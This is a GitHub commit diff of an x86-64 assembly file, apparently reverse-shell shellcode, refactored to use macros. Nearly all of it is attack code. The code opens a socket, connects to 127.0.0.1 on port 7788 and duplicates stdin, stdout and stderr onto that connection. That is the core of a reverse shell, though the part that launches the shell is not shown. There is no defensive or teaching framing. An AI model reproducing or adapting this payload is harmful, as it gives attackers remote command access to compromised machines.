Skip to content

Commit 7af9bad

Browse files
committed
using all the tools
1 parent e092d61 commit 7af9bad

File tree

1 file changed

+12
-17
lines changed

1 file changed

+12
-17
lines changed

reverse64IPv4/r64.s

Lines changed: 12 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -5,9 +5,11 @@
55
;; port is littleEndian
66
%include "short64.s"
77
%include "syscall.s"
8+
%include "util.s"
9+
810
9-
%define IP 0x0100007f ;IP 127.0.0.1 Little Endian
10-
%define PORT 0x6c1e ;port 7788 Little Endian
11+
%define IP ip(127,0,0,1)
12+
%define PORT htons(7788) ;port 7788 Little Endian
1113
%define AF_INET 2
1214
%define SOCK_STREAM 1
1315
%define ANY_PROTO 0
@@ -22,16 +24,14 @@ BITS 64
2224
main:
2325
2426
open_my_socket:
25-
push byte socket
26-
pop rax
27-
push byte 2
27+
push byte AF_INET
2828
pop rdi
29-
push byte 1
29+
push byte SOCK_STREAM
3030
pop rsi
31-
push byte 0
31+
push byte ANY_PROTO
3232
pop rdx
33-
SYSTEM_CALL
34-
;; rax has socket
33+
SYSTEM_CALL(socket)
34+
3535
xchg rax,rdi
3636
make_sockaddr:
3737
push byte 0 ;lame part of sockaddr
@@ -42,19 +42,14 @@ make_sockaddr:
4242
push 0x10
4343
pop rdx ;addrlen
4444
;RDI=sockfd
45-
push connect
46-
pop rax
47-
SYSTEM_CALL
45+
SYSTEM_CALL(connect)
4846
;; assume success (RAX=0)
4947
5048
51-
push byte 2
49+
push byte 2 ;loop count and FD#
5250
pop rsi
5351
copy_stdin_out_err:
54-
push byte dup2
55-
pop rax
56-
SYSTEM_CALL
57-
52+
SYSTEM_CALL(dup2)
5853
dec rsi
5954
jns copy_stdin_out_err
6055

0 commit comments

Comments
 (0)